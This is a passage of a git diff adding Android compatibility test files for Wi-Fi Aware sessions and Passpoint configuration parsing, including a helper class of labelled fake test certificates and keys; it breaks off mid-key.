+        assertTrue("Timeout waiting for Wi-Fi Aware to change status",
+                receiver1.waitForStateChange());
+        assertFalse("Wi-Fi Aware is available (should not be)", mWifiAwareManager.isAvailable());
+
+        // 2. Enable Wi-Fi
+        WifiAwareBroadcastReceiver receiver2 = new WifiAwareBroadcastReceiver();
+        mContext.registerReceiver(receiver2, intentFilter);
+        mWifiManager.setWifiEnabled(true);
+
+        assertTrue("Timeout waiting for Wi-Fi Aware to change status",
+                receiver2.waitForStateChange());
+        assertTrue("Wi-Fi Aware is not available (should be)", mWifiAwareManager.isAvailable());
+    }
+
+    /**
+     * Validate that can attach to Wi-Fi Aware.
+     */
+    public void testAttachNoIdentity() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+        session.destroy();
+    }
+
+    /**
+     * Validate that can attach to Wi-Fi Aware and get identity information. Use the identity
+     * information to validate that MAC address changes on every attach.
+     *
+     * Note: relies on no other entity using Wi-Fi Aware during the CTS test. Since if it is used
+     * then the attach/destroy will not correspond to enable/disable and will not result in a new
+     * MAC address being generated.
+     */
+    public void testAttachDiscoveryAddressChanges() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        final int numIterations = 10;
+        Set<TestUtils.MacWrapper> macs = new HashSet<>();
+
+        for (int i = 0; i < numIterations; ++i) {
+            AttachCallbackTest attachCb = new AttachCallbackTest();
+            IdentityChangedListenerTest identityL = new IdentityChangedListenerTest();
+            mWifiAwareManager.attach(attachCb, identityL, mHandler);
+            assertEquals("Wi-Fi Aware attach: iteration " + i, AttachCallbackTest.ATTACHED,
+                    attachCb.waitForAnyCallback());
+            assertTrue("Wi-Fi Aware attach: iteration " + i, identityL.waitForListener());
+
+            WifiAwareSession session = attachCb.getSession();
+            assertNotNull("Wi-Fi Aware session: iteration " + i, session);
+
+            byte[] mac = identityL.getMac();
+            assertNotNull("Wi-Fi Aware discovery MAC: iteration " + i, mac);
+
+            session.destroy();
+
+            macs.add(new TestUtils.MacWrapper(mac));
+        }
+
+        assertEquals("", numIterations, macs.size());
+    }
+
+    /**
+     * Validate a successful publish discovery session lifetime: publish, update publish, destroy.
+     */
+    public void testPublishDiscoverySuccess() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        final String serviceName = "ValidName";
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                serviceName).build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+
+        // 1. publish
+        session.publish(publishConfig, discoveryCb, mHandler);
+        assertTrue("Publish started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
+        assertNotNull("Publish session", discoverySession);
+
+        // 2. update-publish
+        publishConfig = new PublishConfig.Builder().setServiceName(
+                serviceName).setServiceSpecificInfo("extras".getBytes()).build();
+        discoverySession.updatePublish(publishConfig);
+        assertTrue("Publish update", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        // 3. destroy
+        assertFalse("Publish not terminated", discoveryCb.hasCallbackAlreadyHappened(
+                DiscoverySessionCallbackTest.ON_SESSION_TERMINATED));
+        discoverySession.destroy();
+
+        // 4. try update post-destroy: should time-out waiting for cb
+        discoverySession.updatePublish(publishConfig);
+        assertFalse("Publish update post destroy", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        session.destroy();
+    }
+
+    /**
+     * Validate a successful subscribe discovery session lifetime: subscribe, update subscribe,
+     * destroy.
+     */
+    public void testSubscribeDiscoverySuccess() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        final String serviceName = "ValidName";
+
+        WifiAwareSession session = attachAndGetSession();
+
+        SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                serviceName).build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+
+        // 1. subscribe
+        session.subscribe(subscribeConfig, discoveryCb, mHandler);
+        assertTrue("Subscribe started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_SUBSCRIBE_STARTED));
+        SubscribeDiscoverySession discoverySession = discoveryCb.getSubscribeDiscoverySession();
+        assertNotNull("Subscribe session", discoverySession);
+
+        // 2. update-subscribe
+        subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                serviceName).setServiceSpecificInfo("extras".getBytes()).build();
+        discoverySession.updateSubscribe(subscribeConfig);
+        assertTrue("Subscribe update", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        // 3. destroy
+        assertFalse("Subscribe not terminated", discoveryCb.hasCallbackAlreadyHappened(
+                DiscoverySessionCallbackTest.ON_SESSION_TERMINATED));
+        discoverySession.destroy();
+
+        // 4. try update post-destroy: should time-out waiting for cb
+        discoverySession.updateSubscribe(subscribeConfig);
+        assertFalse("Subscribe update post destroy", discoveryCb.waitForCallback(
+                DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
+
+        session.destroy();
+    }
+
+    /**
+     * Test the send message flow. Since testing single device cannot send to a real peer -
+     * validate that sending to a bogus peer fails.
+     */
+    public void testSendMessageFail() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                "ValidName").build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+
+        // 1. publish
+        session.publish(publishConfig, discoveryCb, mHandler);
+        assertTrue("Publish started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
+        assertNotNull("Publish session", discoverySession);
+
+        // 2. send a message with a null peer-handle - expect exception
+        try {
+            discoverySession.sendMessage(null, -1290, "some message".getBytes());
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // empty
+        }
+
+        discoverySession.destroy();
+        session.destroy();
+    }
+
+    /**
+     * Request an Aware data-path (open) on a Publish discovery session (which can be done with a
+     * null peer - to accept all requests). Validate that times-out.
+     */
+    public void testDataPathOpenInContextOfDiscoveryFail() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                "ValidName").build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        NetworkCallbackTest networkCb = new NetworkCallbackTest();
+
+        // 1. publish
+        session.publish(publishConfig, discoveryCb, mHandler);
+        assertTrue("Publish started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
+        assertNotNull("Publish session", discoverySession);
+
+        // 2. request an AWARE network
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                discoverySession.createNetworkSpecifierOpen(null)).build();
+        mConnectivityManager.requestNetwork(nr, networkCb, 2000);
+        assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
+
+        discoverySession.destroy();
+        session.destroy();
+    }
+
+    /**
+     * Request an Aware data-path (encrypted) on a Publish discovery session (which can be done
+     * with a null peer - to accept all requests). Validate that times-out.
+     */
+    public void testDataPathPassphraseInContextOfDiscoveryFail() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                "ValidName").build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        NetworkCallbackTest networkCb = new NetworkCallbackTest();
+
+        // 1. publish
+        session.publish(publishConfig, discoveryCb, mHandler);
+        assertTrue("Publish started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        PublishDiscoverySession discoverySession = discoveryCb.getPublishDiscoverySession();
+        assertNotNull("Publish session", discoverySession);
+
+        // 2. request an AWARE network
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                discoverySession.createNetworkSpecifierPassphrase(null,
+                        "Some very long but not very good passphrase")).build();
+        mConnectivityManager.requestNetwork(nr, networkCb, 2000);
+        assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
+
+        discoverySession.destroy();
+        session.destroy();
+    }
+
+    /**
+     * Request an Aware data-path (open) as a Responder with no peer MAC address (i.e. accept any
+     * peer request). Validate that times-out.
+     */
+    public void testDataPathOpenOutOfBandFail() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                "ValidName").build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        NetworkCallbackTest networkCb = new NetworkCallbackTest();
+
+        // 1. request an AWARE network
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                session.createNetworkSpecifierOpen(
+                        WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_RESPONDER, null)).build();
+        mConnectivityManager.requestNetwork(nr, networkCb, 2000);
+        assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
+
+        session.destroy();
+    }
+
+    /**
+     * Request an Aware data-path (encrypted) as a Responder with no peer MAC address (i.e.
+     * accept any peer request). Validate that times-out.
+     */
+    public void testDataPathPassphraseOutOfBandFail() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                "ValidName").build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+        NetworkCallbackTest networkCb = new NetworkCallbackTest();
+
+        // 1. request an AWARE network
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                session.createNetworkSpecifierPassphrase(
+                        WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_RESPONDER, null,
+                        "abcdefghihk")).build();
+        mConnectivityManager.requestNetwork(nr, networkCb, 2000);
+        assertTrue("OnUnavailable received", networkCb.waitForOnUnavailable());
+
+        session.destroy();
+    }
+
+    // local utilities
+
+    private WifiAwareSession attachAndGetSession() {
+        AttachCallbackTest attachCb = new AttachCallbackTest();
+        mWifiAwareManager.attach(attachCb, mHandler);
+        int cbCalled = attachCb.waitForAnyCallback();
+        assertEquals("Wi-Fi Aware attach", AttachCallbackTest.ATTACHED, cbCalled);
+
+        WifiAwareSession session = attachCb.getSession();
+        assertNotNull("Wi-Fi Aware session", session);
+
+        return session;
+    }
+}
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/TestUtils.java b/tests/tests/net/src/android/net/wifi/aware/cts/TestUtils.java
new file mode 100644
index 0000000..a12c8bb
--- /dev/null
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/TestUtils.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.aware.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import java.util.Arrays;
+
+/**
+ * Test utilities for Wi-Fi Aware CTS test suite.
+ */
+class TestUtils {
+    static final String TAG = "WifiAwareCtsTests";
+
+    /**
+     * Returns a flag indicating whether or not Wi-Fi Aware should be tested. Wi-Fi Aware
+     * should be tested if the feature is supported on the current device.
+     */
+    static boolean shouldTestWifiAware(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WIFI_AWARE);
+    }
+
+    /**
+     * Wraps a byte[] (MAC address representation). Intended to provide hash and equality operators
+     * so that the MAC address can be used in containers.
+     */
+    static class MacWrapper {
+        private byte[] mMac;
+
+        MacWrapper(byte[] mac) {
+            mMac = mac;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+
+            if (!(o instanceof MacWrapper)) {
+                return false;
+            }
+
+            MacWrapper lhs = (MacWrapper) o;
+            return Arrays.equals(mMac, lhs.mMac);
+        }
+
+        @Override
+        public int hashCode() {
+            return Arrays.hashCode(mMac);
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConfigParserTest.java b/tests/tests/net/src/android/net/wifi/cts/ConfigParserTest.java
new file mode 100644
index 0000000..52ed2a6
--- /dev/null
+++ b/tests/tests/net/src/android/net/wifi/cts/ConfigParserTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.net.wifi.cts;
+
+import android.net.wifi.hotspot2.ConfigParser;
+import android.net.wifi.hotspot2.PasspointConfiguration;
+import android.net.wifi.hotspot2.pps.Credential;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.test.AndroidTestCase;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.Arrays;
+
+/**
+ * CTS tests for Hotspot 2.0 Release 1 installation file parsing API.
+ */
+public class ConfigParserTest extends AndroidTestCase {
+    /**
+     * Hotspot 2.0 Release 1 installation file that contains a Passpoint profile and a
+     * CA (Certificate Authority) X.509 certificate {@link FakeKeys#CA_CERT0}.
+     */
+    private static final String PASSPOINT_INSTALLATION_FILE_WITH_CA_CERT =
+            "assets/HSR1ProfileWithCACert.base64";
+
+    /**
+     * Read the content of the given resource file into a String.
+     *
+     * @param filename String name of the file
+     * @return String
+     * @throws IOException
+     */
+    private String loadResourceFile(String filename) throws IOException {
+        InputStream in = getClass().getClassLoader().getResourceAsStream(filename);
+        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
+        StringBuilder builder = new StringBuilder();
+        String line;
+        while ((line = reader.readLine()) != null) {
+            builder.append(line).append("\n");
+        }
+
+        return builder.toString();
+    }
+
+    /**
+     * Generate a {@link PasspointConfiguration} that matches the configuration specified in the
+     * XML file {@link #PASSPOINT_INSTALLATION_FILE_WITH_CA_CERT}.
+     *
+     * @return {@link PasspointConfiguration}
+     */
+    private PasspointConfiguration generateConfigurationFromProfile() {
+        PasspointConfiguration config = new PasspointConfiguration();
+
+        // HomeSP configuration.
+        HomeSp homeSp = new HomeSp();
+        homeSp.setFriendlyName("Century House");
+        homeSp.setFqdn("mi6.co.uk");
+        homeSp.setRoamingConsortiumOis(new long[] {0x112233L, 0x445566L});
+        config.setHomeSp(homeSp);
+
+        // Credential configuration.
+        Credential credential = new Credential();
+        credential.setRealm("shaken.stirred.com");
+        Credential.UserCredential userCredential = new Credential.UserCredential();
+        userCredential.setUsername("james");
+        userCredential.setPassword("Ym9uZDAwNw==");
+        userCredential.setEapType(21);
+        userCredential.setNonEapInnerMethod("MS-CHAP-V2");
+        credential.setUserCredential(userCredential);
+        Credential.CertificateCredential certCredential = new Credential.CertificateCredential();
+        certCredential.setCertType("x509v3");
+        byte[] certSha256Fingerprint = new byte[32];
+        Arrays.fill(certSha256Fingerprint, (byte)0x1f);
+        certCredential.setCertSha256Fingerprint(certSha256Fingerprint);
+        credential.setCertCredential(certCredential);
+        Credential.SimCredential simCredential = new Credential.SimCredential();
+        simCredential.setImsi("imsi");
+        simCredential.setEapType(24);
+        credential.setSimCredential(simCredential);
+        credential.setCaCertificate(FakeKeys.CA_CERT0);
+        config.setCredential(credential);
+        return config;
+    }
+
+    /**
+     * Verify a valid installation file is parsed successfully with the matching contents.
+     *
+     * @throws Exception
+     */
+    public void testParseConfigFile() throws Exception {
+        String configStr = loadResourceFile(PASSPOINT_INSTALLATION_FILE_WITH_CA_CERT);
+        PasspointConfiguration expectedConfig = generateConfigurationFromProfile();
+        PasspointConfiguration actualConfig =
+                ConfigParser.parsePasspointConfig(
+                        "application/x-wifi-config", configStr.getBytes());
+        assertTrue(actualConfig.equals(expectedConfig));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java b/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java
new file mode 100644
index 0000000..f422c2f
--- /dev/null
+++ b/tests/tests/net/src/android/net/wifi/cts/FakeKeys.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.net.wifi.cts;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+
+/**
+ * A class containing test certificates and private keys.
+ */
+public class FakeKeys {
+    private static final String CA_CERT0_STRING = "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDKDCCAhCgAwIBAgIJAILlFdwzLVurMA0GCSqGSIb3DQEBCwUAMBIxEDAOBgNV\n" +
+            "BAMTB0VBUCBDQTEwHhcNMTYwMTEyMTE1MDE1WhcNMjYwMTA5MTE1MDE1WjASMRAw\n" +
+            "DgYDVQQDEwdFQVAgQ0ExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA\n" +
+            "znAPUz26Msae4ws43czR41/J2QtrSIZUKmVUsVumDbYHrPNvTXKSMXAcewORDQYX\n" +
+            "RqvHvpn8CscB1+oGXZvHwxj4zV0WKoK2zeXkau3vcyl3HIKupJfq2TEACefVjj0t\n" +
+            "JW+X35PGWp9/H5zIUNVNVjS7Ums84IvKhRB8512PB9UyHagXYVX5GWpAcVpyfrlR\n" +
+            "FI9Qdhh+Pbk0uyktdbf/CdfgHOoebrTtwRljM0oDtX+2Cv6j0wBK7hD8pPvf1+uy\n" +
+            "GzczigAU/4Kw7eZqydf9B+5RupR+IZipX41xEiIrKRwqi517WWzXcjaG2cNbf451\n" +
+            "xpH5PnV3i1tq04jMGQUzFwIDAQABo4GAMH4wHQYDVR0OBBYEFIwX4vs8BiBcScod\n" +
+            "5noZHRM8E4+iMEIGA1UdIwQ7MDmAFIwX4vs8BiBcScod5noZHRM8E4+ioRakFDAS\n" +
+            "MRAwDgYDVQQDEwdFQVAgQ0ExggkAguUV3DMtW6swDAYDVR0TBAUwAwEB/zALBgNV\n" +
+            "HQ8EBAMCAQYwDQYJKoZIhvcNAQELBQADggEBAFfQqOTA7Rv7K+luQ7pnas4BYwHE\n" +
+            "9GEP/uohv6KOy0TGQFbrRTjFoLVNB9BZ1ymMDZ0/TIwIUc7wi7a8t5mEqYH153wW\n" +
+            "aWooiSjyLLhuI4sNrNCOtisdBq2r2MFXt6h0mAQYOPv8R8K7/fgSxGFqzhyNmmVL\n" +
+            "1qBJldx34SpwsTALQVPb4hGwJzZfr1PcpEQx6xMnTl8xEWZE3Ms99uaUxbQqIwRu\n" +
+            "LgAOkNCmY2m89VhzaHJ1uV85AdM/tD+Ysmlnnjt9LRCejbBipjIGjOXrg1JP+lxV\n" +
+            "muM4vH+P/mlmxsPPz0d65b+EGmJZpoLkO/tdNNvCYzjJpTEWpEsO6NMhKYo=\n" +
+            "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_CERT0 = loadCertificate(CA_CERT0_STRING);
+
+    private static final String CA_CERT1_STRING = "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDKDCCAhCgAwIBAgIJAOM5SzKO2pzCMA0GCSqGSIb3DQEBCwUAMBIxEDAOBgNV\n" +
+            "BAMTB0VBUCBDQTAwHhcNMTYwMTEyMDAxMDQ3WhcNMjYwMTA5MDAxMDQ3WjASMRAw\n" +
+            "DgYDVQQDEwdFQVAgQ0EwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA\n" +
+            "89ug+IEKVQXnJGKg5g4uVHg6J/8iRUxR5k2eH5o03hrJNMfN2D+cBe/wCiZcnWbI\n" +
+            "GbGZACWm2nQth2wy9Zgm2LOd3b4ocrHYls3XLq6Qb5Dd7a0JKU7pdGufiNVEkrmF\n" +
+            "EB+N64wgwH4COTvCiN4erp5kyJwkfqAl2xLkZo0C464c9XoyQOXbmYD9A8v10wZu\n" +
+            "jyNsEo7Nr2USyw+qhjWSbFbEirP77Tvx+7pJQJwdtk1V9Tn73T2dGF2WHYejei9S\n" +
+            "mcWpdIUqsu9etYH+zDmtu7I1xlkwiaVsNr2+D+qaCJyOYqrDTKVNK5nmbBPXDWZc\n" +
+            "NoDbTOoqquX7xONpq9M6jQIDAQABo4GAMH4wHQYDVR0OBBYEFAZ3A2S4qJZZwuNY\n" +
+            "wkJ6mAdc0gVdMEIGA1UdIwQ7MDmAFAZ3A2S4qJZZwuNYwkJ6mAdc0gVdoRakFDAS\n" +
+            "MRAwDgYDVQQDEwdFQVAgQ0EwggkA4zlLMo7anMIwDAYDVR0TBAUwAwEB/zALBgNV\n" +
+            "HQ8EBAMCAQYwDQYJKoZIhvcNAQELBQADggEBAHmdMwEhtys4d0E+t7owBmoVR+lU\n" +
+            "hMCcRtWs8YKX5WIM2kTweT0h/O1xwE1mWmRv/IbDAEb8od4BjAQLhIcolStr2JaO\n" +
+            "9ZzyxjOnNzqeErh/1DHDbb/moPpqfeJ8YiEz7nH/YU56Q8iCPO7TsgS0sNNE7PfN\n" +
+            "IUsBW0yHRgpQ4OxWmiZG2YZWiECRzAC0ecPzo59N5iH4vLQIMTMYquiDeMPQnn1e\n" +
+            "NDGxG8gCtDKIaS6tMg3a28MvWB094pr2ETou8O1C8Ji0Y4hE8QJmSdT7I4+GZjgW\n" +
+            "g94DZ5RiL7sdp3vC48CXOmeT61YBIvhGUsE1rPhXqkpqQ3Z3C4TFF0jXZZc=\n" +
+            "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_CERT1 = loadCertificate(CA_CERT1_STRING);
+
+    private static final String CLIENT_CERT_STR = "-----BEGIN CERTIFICATE-----\n" +
+            "MIIE/DCCAuQCAQEwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxCzAJBgNV\n" +
+            "BAgMAkNBMRYwFAYDVQQHDA1Nb3VudGFpbiBWaWV3MRAwDgYDVQQKDAdUZXN0aW5n\n" +
+            "MB4XDTE2MDkzMDIwNTQyOFoXDTE3MDkzMDIwNTQyOFowRDELMAkGA1UEBhMCVVMx\n" +
+            "CzAJBgNVBAgMAkNBMRYwFAYDVQQHDA1Nb3VudGFpbiBWaWV3MRAwDgYDVQQKDAdU\n" +
+            "ZXN0aW5nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAnpmcbuaeHfnJ\n" +
+            "k+2QNvxmdVFTawyFMNk0USCq5sexscwmxbewG/Rb8YnixwJWS44v2XkSujB67z5C\n" +
+            "s2qudFEhRXKdEuC6idbAuA97KjipHh0AAniWMsyv61fvbgsUC0b0canx3LiDq81p\n" +
+            "y28NNGmAvoazLZUZ4AhBRiwYZY6FKk723gmZoGbEIeG7J1dlXPusc1662rIjz4eU\n" +
+            "zlmmlvqyHfNqnNk8L14Vug6Xh+lOEGN85xhu1YHAEKGrS89kZxs5rum/cZU8KH2V\n" +
+            "v6eKnY03kxjiVLQtnLpm/7VUEoCMGHyruRj+p3my4+DgqMsmsH52RZCBsjyGlpbU\n" +
+            "NOwOTIX6xh+Rqloduz4AnrMYYIiIw2s8g+2zJM7VbcVKx0fGS26BKdrxgrXWfmNE\n" +
+            "nR0/REQ5AxDGw0jfTUvtdTkXAf+K4MDjcNLEZ+MA4rHfAfQWZtUR5BkHCQYxNpJk\n" +
+            "pA0gyk+BpKdC4WdzI14NSWsu5sRCmBCFqH6BTOSEq/V1cNorBxNwLSSTwFFqUDqx\n" +
+            "Y5nQLXygkJf9WHZWtSKeSjtOYgilz7UKzC2s3CsjmIyGFe+SwpuHJnuE4Uc8Z5Cb\n" +
+            "bjNGHPzqL6XnmzZHJp7RF8kBdKdjGC7dCUltzOfICZeKlzOOq+Kw42T/nXjuXvpb\n" +
+            "nkXNxg741Nwd6RecykXJbseFwm3EYxkCAwEAATANBgkqhkiG9w0BAQsFAAOCAgEA\n" +
+            "Ga1mGwI9aXkL2fTPXO9YkAPzoGeX8aeuVYSQaSkNq+5vnogYCyAt3YDHjRG+ewTT\n" +
+            "WbnPA991xRAPac+biJeXWmwvgGj0YuT7e79phAiGkTTnbAjFHGfYnBy/tI/v7btO\n" +
+            "hRNElA5yTJ1m2fVbBEKXzMR83jrT9iyI+YLRN86zUZIaC86xxSbqnrdWN2jOK6MX\n" +
+            "dS8Arp9tPQjC/4gW+2Ilxv68jiYh+5auWHQZVjppWVY//iu4mAbkq1pTwQEhZ8F8\n" +
+            "Zrmh9DHh60hLFcfSuhIAwf/NMzppwdkjy1ruKVrpijhGKGp4OWu8nvOUgHSzxc7F\n" +
+            "PwpVZ5N2Ku4L8MLO6BG2VasRJK7l17TzDXlfLZHJjkuryOFxVaQKt8ZNFgTOaCXS\n" +
+            "E+gpTLksKU7riYckoiP4+H1sn9qcis0e8s4o/uf1UVc8GSdDw61ReGM5oZEDm1u8\n" +
+            "H9x20QU6igLqzyBpqvCKv7JNgU1uB2PAODHH78zJiUfnKd1y+o+J1iWzaGj3EFji\n" +
+            "T8AXksbTP733FeFXfggXju2dyBH+Z1S5BBTEOd1brWgXlHSAZGm97MKZ94r6/tkX\n" +
+            "qfv3fCos0DKz0oV7qBxYS8wiYhzrRVxG6ITAoH8uuUVVQaZF+G4nJ2jEqNbfuKyX\n" +
+            "ATQsVNjNNlDA0J33GobPMjT326wa4YAWMx8PI5PJZ3g=\n" +
+            "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_CERT = loadCertificate(CLIENT_CERT_STR);
+
+    private static final byte[] FAKE_RSA_KEY_1 = new byte[] {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
+            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
+            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
+            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
+            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
+            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
+            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
+            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
+            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
+            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
+            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
+            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
+            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
